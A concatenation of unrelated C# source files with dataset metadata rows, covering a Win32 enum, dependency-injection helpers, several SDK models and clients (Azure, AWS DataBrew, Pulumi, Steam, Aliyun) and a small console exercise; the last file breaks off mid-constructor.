using JetBrains.Annotations;
#endregion
// ReSharper disable InconsistentNaming
namespace AM.Win32
{
/// <summary>
/// Image list drawing style.
/// </summary>
[PublicAPI]
public enum ImageListFlags
{
/// <summary>
/// Draws the image using the background color for the image list.
/// If the background color is the CLR_NONE value, the image is
/// drawn transparently using the mask.
/// </summary>
ILD_NORMAL = 0x00000000,
/// <summary>
/// Draws the image transparently using the mask, regardless of
/// the background color. This value has no effect if the image
/// list does not contain a mask.
/// </summary>
ILD_TRANSPARENT = 0x00000001,
/// <summary>
/// Draws the mask.
/// </summary>
ILD_MASK = 0x00000010,
/// <summary>
/// ???
/// </summary>
ILD_IMAGE = 0x00000020,
/// <summary>
/// ???
/// </summary>
ILD_ROP = 0x00000040,
/// <summary>
/// Draws the image, blending 25 percent with the system
/// highlight color. This value has no effect if the image
/// list does not contain a mask.
/// </summary>
ILD_BLEND25 = 0x00000002,
/// <summary>
/// Draws the image, blending 50 percent with the system
/// highlight color. This value has no effect if the image
/// list does not contain a mask.
/// </summary>
ILD_BLEND50 = 0x00000004,
/// <summary>
/// ???
/// </summary>
ILD_OVERLAYMASK = 0x00000F00,
/// <summary>
/// ???
/// </summary>
ILD_PRESERVEALPHA = 0x00001000,
/// <summary>
/// ???
/// </summary>
ILD_SCALE = 0x00002000,
/// <summary>
/// ???
/// </summary>
ILD_DPISCALE = 0x00004000,
/// <summary>
/// Draws the image, blending 50 percent with the system
/// highlight color. This value has no effect if the image
/// list does not contain a mask.
/// </summary>
ILD_SELECTED = ILD_BLEND50,
/// <summary>
/// Draws the image, blending 25 percent with the system
/// highlight color. This value has no effect if the image
/// list does not contain a mask.
/// </summary>
ILD_FOCUS = ILD_BLEND25,
/// <summary>
/// Draws the image, blending 50 percent with the system
/// highlight color. This value has no effect if the image
/// list does not contain a mask.
/// </summary>
ILD_BLEND = ILD_BLEND50
}
}
| 28.037037 | 84 | 0.548217 | [
"MIT"
] | amironov73/ManagedClient.45 | Source/Classic/Libs/AM.Win32/AM/Win32/ComCtl/ImageListFlags.cs | 3,030 | C# |
using System;
using System.Diagnostics.CodeAnalysis;
using System.Linq;
using Microsoft.Extensions.DependencyInjection;
namespace JsonStores
{
/// <summary>
/// Extension methods for setting up JsonStores in an <see cref="IServiceCollection" />.
/// </summary>
public static class DependencyInjection
{
/// <summary>
/// Adds <see cref="IJsonStore{T}"/> and <see cref="IJsonRepository{T,TKey}"/> as a service in the <see cref="IServiceCollection" />.
/// </summary>
/// <param name="services">The <see cref="IServiceCollection" /> to add services to.</param>
/// <param name="options">The options for the stores.</param>
/// <param name="serviceLifetime">The lifetime with which to register the store in the container. Default is <see cref="ServiceLifetime.Scoped"/>.</param>
/// <returns>The same instance of <see cref="IServiceCollection" /> for chaining.</returns>
public static IServiceCollection AddJsonStores([NotNull] this IServiceCollection services,
JsonStoreOptions options = default, ServiceLifetime serviceLifetime = ServiceLifetime.Scoped)
{
services.TryAddOptions(options);
services.Add(new ServiceDescriptor(typeof(IJsonStore<>), typeof(JsonStore<>), serviceLifetime));
services.Add(new ServiceDescriptor(typeof(IJsonRepository<,>), typeof(JsonRepository<,>), serviceLifetime));
return services;
}
/// <summary>
/// Adds <see cref="IJsonStore{T}"/> and <see cref="IJsonRepository{T,TKey}"/> as a service in the <see cref="IServiceCollection" />.
/// </summary>
/// <param name="services">The <see cref="IServiceCollection" /> to add services to.</param>
/// <param name="options">An action to define options.</param>
/// <param name="serviceLifetime">The lifetime with which to register the store in the container. Default is <see cref="ServiceLifetime.Scoped"/>.</param>
/// <returns>The same instance of <see cref="IServiceCollection" /> for chaining.</returns>
public static IServiceCollection AddJsonStores([NotNull] this IServiceCollection services,
Action<JsonStoreOptions> options, ServiceLifetime serviceLifetime = ServiceLifetime.Scoped)
{
var jsonOptions = new JsonStoreOptions();
options(jsonOptions);
return services.AddJsonStores(jsonOptions, serviceLifetime);
}
/// <summary>
/// Adds <see cref="IJsonStore{T}"/> as a service in the <see cref="IServiceCollection" />.
/// </summary>
/// <param name="services">The <see cref="IServiceCollection" /> to add services to.</param>
/// <param name="options">The options for the store.</param>
/// <param name="serviceLifetime">The lifetime with which to register the store in the container. Default is <see cref="ServiceLifetime.Scoped"/>.</param>
/// <returns>The same instance of <see cref="IServiceCollection" /> for chaining.</returns>
public static IServiceCollection AddJsonStore<T>([NotNull] this IServiceCollection services,
JsonStoreOptions options = default, ServiceLifetime serviceLifetime = ServiceLifetime.Scoped)
where T : class, new()
{
services.TryAddOptions(options);
services.Add(new ServiceDescriptor(typeof(IJsonStore<T>), typeof(JsonStore<T>), serviceLifetime));
return services;
}
/// <summary>
/// Adds <see cref="IJsonStore{T}"/> as a service in the <see cref="IServiceCollection" />.
/// </summary>
/// <param name="services">The <see cref="IServiceCollection" /> to add services to.</param>
/// <param name="options">An action to define options.</param>
/// <param name="serviceLifetime">The lifetime with which to register the store in the container. Default is <see cref="ServiceLifetime.Scoped"/>.</param>
/// <returns>The same instance of <see cref="IServiceCollection" /> for chaining.</returns>
public static IServiceCollection AddJsonStore<T>([NotNull] this IServiceCollection services,
Action<JsonStoreOptions> options, ServiceLifetime serviceLifetime = ServiceLifetime.Scoped)
where T : class, new()
{
var jsonOptions = new JsonStoreOptions();
options(jsonOptions);
return services.AddJsonStore<T>(jsonOptions, serviceLifetime);
}
/// <summary>
/// Adds <see cref="IJsonRepository{T,TKey}"/> as a service in the <see cref="IServiceCollection" />.
/// </summary>
/// <param name="services">The <see cref="IServiceCollection" /> to add services to.</param>
/// <param name="options">The options for the store.</param>
/// <param name="serviceLifetime">The lifetime with which to register the store in the container. Default is <see cref="ServiceLifetime.Scoped"/>.</param>
/// <returns>The same instance of <see cref="IServiceCollection" /> for chaining.</returns>
public static IServiceCollection AddJsonRepository<T, TKey>([NotNull] this IServiceCollection services,
JsonStoreOptions options = default, ServiceLifetime serviceLifetime = ServiceLifetime.Scoped)
where T : class, new()
{
services.TryAddOptions(options);
services.Add(new ServiceDescriptor(typeof(IJsonRepository<T, TKey>),
typeof(JsonRepository<T, TKey>),
serviceLifetime));
return services;
}
/// <summary>
/// Adds <see cref="IJsonRepository{T,TKey}"/> as a service in the <see cref="IServiceCollection" />.
/// </summary>
/// <param name="services">The <see cref="IServiceCollection" /> to add services to.</param>
/// <param name="options">An action to define options.</param>
/// <param name="serviceLifetime">The lifetime with which to register the store in the container. Default is <see cref="ServiceLifetime.Scoped"/>.</param>
/// <returns>The same instance of <see cref="IServiceCollection" /> for chaining.</returns>
public static IServiceCollection AddJsonRepository<T, TKey>([NotNull] this IServiceCollection services,
Action<JsonStoreOptions> options, ServiceLifetime serviceLifetime = ServiceLifetime.Scoped)
where T : class, new()
{
var jsonOptions = new JsonStoreOptions();
options(jsonOptions);
return services.AddJsonRepository<T, TKey>(jsonOptions, serviceLifetime);
}
private static void TryAddOptions(this IServiceCollection services, JsonStoreOptions options)
{
if (services.All(descriptor => descriptor.ServiceType != typeof(JsonStoreOptions)))
services.Add(new ServiceDescriptor(typeof(JsonStoreOptions), options ?? new JsonStoreOptions()));
}
}
} | 57.680328 | 162 | 0.651414 | [
"MIT"
] | augustocb23/json-stores | JsonStores/DependencyInjection.cs | 7,039 | C# |
namespace Yandex.Checkout.V3
{
public class Recipient
{
/// <summary>
/// Идентификатор магазина в Яндекс.Кассе
/// </summary>
public string AccountId { get; set; }
public string GatewayId { get; set; }
}
}
| 20.076923 | 49 | 0.559387 | [
"MIT"
] | Sierra93/Yandex.Checkout.V3 | Yandex.Checkout.V3/Recipient.cs | 296 | C# |
namespace Genocs.MicroserviceLight.Template.WebApi.UseCases.V1.CloseAccount
{
using System;
using System.ComponentModel.DataAnnotations;
/// <summary>
/// The Close Account Request
/// </summary>
public sealed class CloseAccountRequest
{
/// <summary>
/// Account ID
/// </summary>
[Required]
public Guid AccountId { get; set; }
}
} | 23.823529 | 75 | 0.609877 | [
"MIT"
] | Genocs/clean-architecture-template | src/template/src/Genocs.MicroserviceLight.Template.WebApi/UseCases/V1/CloseAccount/CloseAccountRequest.cs | 405 | C# |
using System;
namespace _01._SoftUni_Reception_archive
{
class Program
{
static void Main(string[] args)
{
int employeeEfficiency1 = int.Parse(Console.ReadLine());
int employeeEfficiency2 = int.Parse(Console.ReadLine());
int employeeEfficiency3 = int.Parse(Console.ReadLine());
int studentsCount = int.Parse(Console.ReadLine());
double studentsPerHour = employeeEfficiency1 + employeeEfficiency2 + employeeEfficiency3;
double hour = 0;
while (studentsCount > 0)
{
studentsCount -= (int)studentsPerHour;
hour++;
if (hour % 4 == 0)
{
hour++;
}
}
Console.WriteLine($"Time needed: {hour}h.");
}
}
}
| 26.78125 | 101 | 0.519253 | [
"MIT"
] | Anzzhhela98/CSharp-Exams | Mid-Exam-Preparation-Fundamentals/01. SoftUni Reception/Program.cs | 859 | C# |
// <auto-generated>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for
// license information.
//
// Code generated by Microsoft (R) AutoRest Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is
// regenerated.
// </auto-generated>
namespace Microsoft.Azure.Management.ResourceManager
{
using Microsoft.Rest;
using Microsoft.Rest.Azure;
using Microsoft.Rest.Serialization;
using Models;
using Newtonsoft.Json;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;
/// <summary>
/// All resource groups and resources exist within subscriptions. These
/// operation enable you get information about your subscriptions and
/// tenants. A tenant is a dedicated instance of Azure Active Directory
/// (Azure AD) for your organization.
/// </summary>
public partial class SubscriptionClient : ServiceClient<SubscriptionClient>, ISubscriptionClient, IAzureClient
{
/// <summary>
/// The base URI of the service.
/// </summary>
public System.Uri BaseUri { get; set; }
/// <summary>
/// Gets or sets json serialization settings.
/// </summary>
public JsonSerializerSettings SerializationSettings { get; private set; }
/// <summary>
/// Gets or sets json deserialization settings.
/// </summary>
public JsonSerializerSettings DeserializationSettings { get; private set; }
/// <summary>
/// Credentials needed for the client to connect to Azure.
/// </summary>
public ServiceClientCredentials Credentials { get; private set; }
/// <summary>
/// The API version to use for the operation.
/// </summary>
public string ApiVersion { get; private set; }
/// <summary>
/// The preferred language for the response.
/// </summary>
public string AcceptLanguage { get; set; }
/// <summary>
/// The retry timeout in seconds for Long Running Operations. Default value is
/// 30.
/// </summary>
public int? LongRunningOperationRetryTimeout { get; set; }
/// <summary>
/// Whether a unique x-ms-client-request-id should be generated. When set to
/// true a unique x-ms-client-request-id value is generated and included in
/// each request. Default is true.
/// </summary>
public bool? GenerateClientRequestId { get; set; }
/// <summary>
/// Gets the ISubscriptionsOperations.
/// </summary>
public virtual ISubscriptionsOperations Subscriptions { get; private set; }
/// <summary>
/// Gets the ITenantsOperations.
/// </summary>
public virtual ITenantsOperations Tenants { get; private set; }
/// <summary>
/// Initializes a new instance of the SubscriptionClient class.
/// </summary>
/// <param name='httpClient'>
/// HttpClient to be used
/// </param>
/// <param name='disposeHttpClient'>
/// True: will dispose the provided httpClient on calling SubscriptionClient.Dispose(). False: will not dispose provided httpClient</param>
protected SubscriptionClient(HttpClient httpClient, bool disposeHttpClient) : base(httpClient, disposeHttpClient)
{
Initialize();
}
/// <summary>
/// Initializes a new instance of the SubscriptionClient class.
/// </summary>
/// <param name='handlers'>
/// Optional. The delegating handlers to add to the http client pipeline.
/// </param>
protected SubscriptionClient(params DelegatingHandler[] handlers) : base(handlers)
{
Initialize();
}
/// <summary>
/// Initializes a new instance of the SubscriptionClient class.
/// </summary>
/// <param name='rootHandler'>
/// Optional. The http client handler used to handle http transport.
/// </param>
/// <param name='handlers'>
/// Optional. The delegating handlers to add to the http client pipeline.
/// </param>
protected SubscriptionClient(HttpClientHandler rootHandler, params DelegatingHandler[] handlers) : base(rootHandler, handlers)
{
Initialize();
}
/// <summary>
/// Initializes a new instance of the SubscriptionClient class.
/// </summary>
/// <param name='baseUri'>
/// Optional. The base URI of the service.
/// </param>
/// <param name='handlers'>
/// Optional. The delegating handlers to add to the http client pipeline.
/// </param>
/// <exception cref="System.ArgumentNullException">
/// Thrown when a required parameter is null
/// </exception>
protected SubscriptionClient(System.Uri baseUri, params DelegatingHandler[] handlers) : this(handlers)
{
if (baseUri == null)
{
throw new System.ArgumentNullException("baseUri");
}
BaseUri = baseUri;
}
/// <summary>
/// Initializes a new instance of the SubscriptionClient class.
/// </summary>
/// <param name='baseUri'>
/// Optional. The base URI of the service.
/// </param>
/// <param name='rootHandler'>
/// Optional. The http client handler used to handle http transport.
/// </param>
/// <param name='handlers'>
/// Optional. The delegating handlers to add to the http client pipeline.
/// </param>
/// <exception cref="System.ArgumentNullException">
/// Thrown when a required parameter is null
/// </exception>
protected SubscriptionClient(System.Uri baseUri, HttpClientHandler rootHandler, params DelegatingHandler[] handlers) : this(rootHandler, handlers)
{
if (baseUri == null)
{
throw new System.ArgumentNullException("baseUri");
}
BaseUri = baseUri;
}
/// <summary>
/// Initializes a new instance of the SubscriptionClient class.
/// </summary>
/// <param name='credentials'>
/// Required. Credentials needed for the client to connect to Azure.
/// </param>
/// <param name='handlers'>
/// Optional. The delegating handlers to add to the http client pipeline.
/// </param>
/// <exception cref="System.ArgumentNullException">
/// Thrown when a required parameter is null
/// </exception>
public SubscriptionClient(ServiceClientCredentials credentials, params DelegatingHandler[] handlers) : this(handlers)
{
if (credentials == null)
{
throw new System.ArgumentNullException("credentials");
}
Credentials = credentials;
if (Credentials != null)
{
Credentials.InitializeServiceClient(this);
}
}
/// <summary>
/// Initializes a new instance of the SubscriptionClient class.
/// </summary>
/// <param name='credentials'>
/// Required. Credentials needed for the client to connect to Azure.
/// </param>
/// <param name='httpClient'>
/// HttpClient to be used
/// </param>
/// <param name='disposeHttpClient'>
/// True: will dispose the provided httpClient on calling SubscriptionClient.Dispose(). False: will not dispose provided httpClient</param>
/// <exception cref="System.ArgumentNullException">
/// Thrown when a required parameter is null
/// </exception>
public SubscriptionClient(ServiceClientCredentials credentials, HttpClient httpClient, bool disposeHttpClient) : this(httpClient, disposeHttpClient)
{
if (credentials == null)
{
throw new System.ArgumentNullException("credentials");
}
Credentials = credentials;
if (Credentials != null)
{
Credentials.InitializeServiceClient(this);
}
}
/// <summary>
/// Initializes a new instance of the SubscriptionClient class.
/// </summary>
/// <param name='credentials'>
/// Required. Credentials needed for the client to connect to Azure.
/// </param>
/// <param name='rootHandler'>
/// Optional. The http client handler used to handle http transport.
/// </param>
/// <param name='handlers'>
/// Optional. The delegating handlers to add to the http client pipeline.
/// </param>
/// <exception cref="System.ArgumentNullException">
/// Thrown when a required parameter is null
/// </exception>
public SubscriptionClient(ServiceClientCredentials credentials, HttpClientHandler rootHandler, params DelegatingHandler[] handlers) : this(rootHandler, handlers)
{
if (credentials == null)
{
throw new System.ArgumentNullException("credentials");
}
Credentials = credentials;
if (Credentials != null)
{
Credentials.InitializeServiceClient(this);
}
}
/// <summary>
/// Initializes a new instance of the SubscriptionClient class.
/// </summary>
/// <param name='baseUri'>
/// Optional. The base URI of the service.
/// </param>
/// <param name='credentials'>
/// Required. Credentials needed for the client to connect to Azure.
/// </param>
/// <param name='handlers'>
/// Optional. The delegating handlers to add to the http client pipeline.
/// </param>
/// <exception cref="System.ArgumentNullException">
/// Thrown when a required parameter is null
/// </exception>
public SubscriptionClient(System.Uri baseUri, ServiceClientCredentials credentials, params DelegatingHandler[] handlers) : this(handlers)
{
if (baseUri == null)
{
throw new System.ArgumentNullException("baseUri");
}
if (credentials == null)
{
throw new System.ArgumentNullException("credentials");
}
BaseUri = baseUri;
Credentials = credentials;
if (Credentials != null)
{
Credentials.InitializeServiceClient(this);
}
}
/// <summary>
/// Initializes a new instance of the SubscriptionClient class.
/// </summary>
/// <param name='baseUri'>
/// Optional. The base URI of the service.
/// </param>
/// <param name='credentials'>
/// Required. Credentials needed for the client to connect to Azure.
/// </param>
/// <param name='rootHandler'>
/// Optional. The http client handler used to handle http transport.
/// </param>
/// <param name='handlers'>
/// Optional. The delegating handlers to add to the http client pipeline.
/// </param>
/// <exception cref="System.ArgumentNullException">
/// Thrown when a required parameter is null
/// </exception>
public SubscriptionClient(System.Uri baseUri, ServiceClientCredentials credentials, HttpClientHandler rootHandler, params DelegatingHandler[] handlers) : this(rootHandler, handlers)
{
if (baseUri == null)
{
throw new System.ArgumentNullException("baseUri");
}
if (credentials == null)
{
throw new System.ArgumentNullException("credentials");
}
BaseUri = baseUri;
Credentials = credentials;
if (Credentials != null)
{
Credentials.InitializeServiceClient(this);
}
}
/// <summary>
/// An optional partial-method to perform custom initialization.
/// </summary>
partial void CustomInitialize();
/// <summary>
/// Initializes client properties.
/// </summary>
private void Initialize()
{
Subscriptions = new SubscriptionsOperations(this);
Tenants = new TenantsOperations(this);
BaseUri = new System.Uri("https://management.azure.com");
ApiVersion = "2021-01-01";
AcceptLanguage = "en-US";
LongRunningOperationRetryTimeout = 30;
GenerateClientRequestId = true;
SerializationSettings = new JsonSerializerSettings
{
Formatting = Newtonsoft.Json.Formatting.Indented,
DateFormatHandling = Newtonsoft.Json.DateFormatHandling.IsoDateFormat,
DateTimeZoneHandling = Newtonsoft.Json.DateTimeZoneHandling.Utc,
NullValueHandling = Newtonsoft.Json.NullValueHandling.Ignore,
ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Serialize,
ContractResolver = new ReadOnlyJsonContractResolver(),
Converters = new List<JsonConverter>
{
new Iso8601TimeSpanConverter()
}
};
DeserializationSettings = new JsonSerializerSettings
{
DateFormatHandling = Newtonsoft.Json.DateFormatHandling.IsoDateFormat,
DateTimeZoneHandling = Newtonsoft.Json.DateTimeZoneHandling.Utc,
NullValueHandling = Newtonsoft.Json.NullValueHandling.Ignore,
ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Serialize,
ContractResolver = new ReadOnlyJsonContractResolver(),
Converters = new List<JsonConverter>
{
new Iso8601TimeSpanConverter()
}
};
CustomInitialize();
DeserializationSettings.Converters.Add(new CloudErrorJsonConverter());
}
/// <summary>
/// Checks resource name validity
/// </summary>
/// <remarks>
/// A resource name is valid if it is not a reserved word, does not contains a
/// reserved word and does not start with a reserved word
/// </remarks>
/// <param name='resourceNameDefinition'>
/// Resource object with values for resource name and resource type
/// </param>
/// <param name='customHeaders'>
/// Headers that will be added to request.
/// </param>
/// <param name='cancellationToken'>
/// The cancellation token.
/// </param>
/// <exception cref="CloudException">
/// Thrown when the operation returned an invalid status code
/// </exception>
/// <exception cref="SerializationException">
/// Thrown when unable to deserialize the response
/// </exception>
/// <exception cref="ValidationException">
/// Thrown when a required parameter is null
/// </exception>
/// <exception cref="System.ArgumentNullException">
/// Thrown when a required parameter is null
/// </exception>
/// <return>
/// A response object containing the response body and response headers.
/// </return>
public async Task<AzureOperationResponse<CheckResourceNameResult>> CheckResourceNameWithHttpMessagesAsync(ResourceName resourceNameDefinition = default(ResourceName), Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken))
{
if (resourceNameDefinition != null)
{
resourceNameDefinition.Validate();
}
if (ApiVersion == null)
{
throw new ValidationException(ValidationRules.CannotBeNull, "this.ApiVersion");
}
// Tracing
bool _shouldTrace = ServiceClientTracing.IsEnabled;
string _invocationId = null;
if (_shouldTrace)
{
_invocationId = ServiceClientTracing.NextInvocationId.ToString();
Dictionary<string, object> tracingParameters = new Dictionary<string, object>();
tracingParameters.Add("resourceNameDefinition", resourceNameDefinition);
tracingParameters.Add("cancellationToken", cancellationToken);
ServiceClientTracing.Enter(_invocationId, this, "CheckResourceName", tracingParameters);
}
// Construct URL
var _baseUrl = BaseUri.AbsoluteUri;
var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "providers/Microsoft.Resources/checkResourceName").ToString();
List<string> _queryParameters = new List<string>();
if (ApiVersion != null)
{
_queryParameters.Add(string.Format("api-version={0}", System.Uri.EscapeDataString(ApiVersion)));
}
if (_queryParameters.Count > 0)
{
_url += (_url.Contains("?") ? "&" : "?") + string.Join("&", _queryParameters);
}
// Create HTTP transport objects
var _httpRequest = new HttpRequestMessage();
HttpResponseMessage _httpResponse = null;
_httpRequest.Method = new HttpMethod("POST");
_httpRequest.RequestUri = new System.Uri(_url);
// Set Headers
if (GenerateClientRequestId != null && GenerateClientRequestId.Value)
{
_httpRequest.Headers.TryAddWithoutValidation("x-ms-client-request-id", System.Guid.NewGuid().ToString());
}
if (AcceptLanguage != null)
{
if (_httpRequest.Headers.Contains("accept-language"))
{
_httpRequest.Headers.Remove("accept-language");
}
_httpRequest.Headers.TryAddWithoutValidation("accept-language", AcceptLanguage);
}
if (customHeaders != null)
{
foreach(var _header in customHeaders)
{
if (_httpRequest.Headers.Contains(_header.Key))
{
_httpRequest.Headers.Remove(_header.Key);
}
_httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value);
}
}
// Serialize Request
string _requestContent = null;
if(resourceNameDefinition != null)
{
_requestContent = SafeJsonConvert.SerializeObject(resourceNameDefinition, SerializationSettings);
_httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8);
_httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json; charset=utf-8");
}
// Set Credentials
if (Credentials != null)
{
cancellationToken.ThrowIfCancellationRequested();
await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false);
}
// Send Request
if (_shouldTrace)
{
ServiceClientTracing.SendRequest(_invocationId, _httpRequest);
}
cancellationToken.ThrowIfCancellationRequested();
_httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false);
if (_shouldTrace)
{
ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse);
}
HttpStatusCode _statusCode = _httpResponse.StatusCode;
cancellationToken.ThrowIfCancellationRequested();
string _responseContent = null;
if ((int)_statusCode != 200)
{
var ex = new CloudException(string.Format("Operation returned an invalid status code '{0}'", _statusCode));
try
{
_responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false);
CloudError _errorBody = SafeJsonConvert.DeserializeObject<CloudError>(_responseContent, DeserializationSettings);
if (_errorBody != null)
{
ex = new CloudException(_errorBody.Message);
ex.Body = _errorBody;
}
}
catch (JsonException)
{
// Ignore the exception
}
ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent);
ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent);
if (_httpResponse.Headers.Contains("x-ms-request-id"))
{
ex.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault();
}
if (_shouldTrace)
{
ServiceClientTracing.Error(_invocationId, ex);
}
_httpRequest.Dispose();
if (_httpResponse != null)
{
_httpResponse.Dispose();
}
throw ex;
}
// Create Result
var _result = new AzureOperationResponse<CheckResourceNameResult>();
_result.Request = _httpRequest;
_result.Response = _httpResponse;
if (_httpResponse.Headers.Contains("x-ms-request-id"))
{
_result.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault();
}
// Deserialize Response
if ((int)_statusCode == 200)
{
_responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false);
try
{
_result.Body = SafeJsonConvert.DeserializeObject<CheckResourceNameResult>(_responseContent, DeserializationSettings);
}
catch (JsonException ex)
{
_httpRequest.Dispose();
if (_httpResponse != null)
{
_httpResponse.Dispose();
}
throw new SerializationException("Unable to deserialize the response.", _responseContent, ex);
}
}
if (_shouldTrace)
{
ServiceClientTracing.Exit(_invocationId, _result);
}
return _result;
}
}
}
| 41.946043 | 295 | 0.574693 | [
"MIT"
] | AikoBB/azure-sdk-for-net | sdk/resources/Microsoft.Azure.Management.Resource/src/Generated/SubscriptionClient.cs | 23,322 | C# |
using System;
using Skybrud.Social.Http;
using Skybrud.Social.Steam.Models.Envoy;
namespace Skybrud.Social.Steam.Responses.Envoy
{
/// <summary>
/// Class representing the response of a call to post a payment out notification.
/// </summary>
public class SteamPaymentOutReverseNotificationResponse : SteamResponse<SteamPaymentOutReverseNotification>
{
#region Constructors
private SteamPaymentOutReverseNotificationResponse(SocialHttpResponse response) : base(response)
{
// Validate the response
ValidateResponse(response);
// Parse the response body
Body = ParseJsonObject(response.Body, SteamPaymentOutReverseNotification.Parse);
}
#endregion
#region Methods
/// <summary>
/// Parses the specified <code>response</code> into an instance of <see cref="SteamPaymentOutReverseNotificationResponse"/>.
/// </summary>
/// <param name="response">The response to be parsed.</param>
/// <returns>Returns an instance of <see cref="SteamPaymentOutReverseNotificationResponse"/>.</returns>
public static SteamPaymentOutReverseNotificationResponse ParseResponse(SocialHttpResponse response)
{
// Some validation
if (response == null) throw new ArgumentNullException(nameof(response));
// Initialize the response
return new SteamPaymentOutReverseNotificationResponse(response);
}
#endregion
}
}
| 33.391304 | 132 | 0.67513 | [
"MIT"
] | abjerner/Skybrud.Social.Steam | src/Skybrud.Social.Steam/Responses/Envoy/SteamPaymentOutReverseNotificationResponse.cs | 1,538 | C# |
namespace SimpleDiscovery.EnvironmentVariables
{
public class EnvironmentVariablesOptions
{
public string CustomPrefix { get; set; }
}
}
| 19.75 | 48 | 0.708861 | [
"MIT"
] | shibayan/SimpleDiscovery | src/SimpleDiscovery.EnvironmentVariables/EnvironmentVariablesOptions.cs | 160 | C# |
/*
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/*
* Do not modify this file. This file is generated from the databrew-2017-07-25.normal.json service model.
*/
using System;
using System.Collections.Generic;
using System.Xml.Serialization;
using System.Text;
using System.IO;
using System.Net;
using Amazon.Runtime;
using Amazon.Runtime.Internal;
namespace Amazon.GlueDataBrew.Model
{
/// <summary>
/// This is the response object from the ListJobRuns operation.
/// </summary>
public partial class ListJobRunsResponse : AmazonWebServiceResponse
{
private List<JobRun> _jobRuns = new List<JobRun>();
private string _nextToken;
/// <summary>
/// Gets and sets the property JobRuns.
/// <para>
/// A list of job runs that have occurred for the specified job.
/// </para>
/// </summary>
[AWSProperty(Required=true)]
public List<JobRun> JobRuns
{
get { return this._jobRuns; }
set { this._jobRuns = value; }
}
// Check to see if JobRuns property is set
internal bool IsSetJobRuns()
{
return this._jobRuns != null && this._jobRuns.Count > 0;
}
/// <summary>
/// Gets and sets the property NextToken.
/// <para>
/// A token generated by DataBrew that specifies where to continue pagination if a previous
/// request was truncated. To obtain the next set of pages, pass in the NextToken from
/// the response object of the previous page call.
/// </para>
/// </summary>
[AWSProperty(Min=1, Max=2000)]
public string NextToken
{
get { return this._nextToken; }
set { this._nextToken = value; }
}
// Check to see if NextToken property is set
internal bool IsSetNextToken()
{
return this._nextToken != null;
}
}
} | 31.225 | 106 | 0.6245 | [
"Apache-2.0"
] | PureKrome/aws-sdk-net | sdk/src/Services/GlueDataBrew/Generated/Model/ListJobRunsResponse.cs | 2,498 | C# |
// *** WARNING: this file was generated by the Pulumi SDK Generator. ***
// *** Do not edit by hand unless you're certain you know what you are doing! ***
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System.Threading.Tasks;
using Pulumi.Serialization;
namespace Pulumi.AzureNextGen.Cache.V20190701.Inputs
{
/// <summary>
/// SKU parameters supplied to the create Redis operation.
/// </summary>
public sealed class SkuArgs : Pulumi.ResourceArgs
{
/// <summary>
/// The size of the Redis cache to deploy. Valid values: for C (Basic/Standard) family (0, 1, 2, 3, 4, 5, 6), for P (Premium) family (1, 2, 3, 4, 5).
/// </summary>
[Input("capacity", required: true)]
public Input<int> Capacity { get; set; } = null!;
/// <summary>
/// The SKU family to use. Valid values: (C, P). (C = Basic/Standard, P = Premium).
/// </summary>
[Input("family", required: true)]
public InputUnion<string, Pulumi.AzureNextGen.Cache.V20190701.SkuFamily> Family { get; set; } = null!;
/// <summary>
/// The type of Redis cache to deploy. Valid values: (Basic, Standard, Premium)
/// </summary>
[Input("name", required: true)]
public InputUnion<string, Pulumi.AzureNextGen.Cache.V20190701.SkuName> Name { get; set; } = null!;
public SkuArgs()
{
}
}
}
| 35.268293 | 157 | 0.613416 | [
"Apache-2.0"
] | pulumi/pulumi-azure-nextgen | sdk/dotnet/Cache/V20190701/Inputs/SkuArgs.cs | 1,446 | C# |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
using System.Collections.Generic;
using Aliyun.Acs.Core;
using Aliyun.Acs.Core.Http;
using Aliyun.Acs.Core.Transform;
using Aliyun.Acs.Core.Utils;
using Aliyun.Acs.Edas.Transform;
using Aliyun.Acs.Edas.Transform.V20170801;
namespace Aliyun.Acs.Edas.Model.V20170801
{
public class DeployK8sApplicationRequest : RoaAcsRequest<DeployK8sApplicationResponse>
{
public DeployK8sApplicationRequest()
: base("Edas", "2017-08-01", "DeployK8sApplication", "Edas", "openAPI")
{
if (this.GetType().GetProperty("ProductEndpointMap") != null && this.GetType().GetProperty("ProductEndpointType") != null)
{
